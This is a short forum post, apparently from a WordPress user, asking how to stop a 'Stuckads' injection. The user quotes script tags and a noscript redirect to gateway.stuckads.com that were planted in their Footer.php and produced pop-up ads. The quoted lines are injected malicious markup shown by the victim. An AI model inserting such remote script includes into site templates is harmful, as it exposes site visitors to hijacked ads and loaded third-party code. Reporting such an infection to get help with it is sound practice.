Stuckads virus?

This script has appeared in my Footer.php, anyone know a way of it not appearing again – it messed my site up briefly, brought up a pop-up ad….my sites back to normal after I deleted it.

<!-- <?php echo get_num_queries(); ?> queries. <?php timer_stop(1); ?> seconds. -->

</div>
<script src="https://gateway.stuckads.com/assets/js/gwe.js" type="text/javascript"></script> <script src="https://gateway.stuckads.com/assets/gateway/aff_413/g509/user_data.js" type="text/javascript"></script> <noscript><meta http-equiv="refresh" content="0;url=https://gateway.stuckads.com/js_err.html"/></noscript>
</body>
</html>

[Please post code snippets between backticks or use the code button.]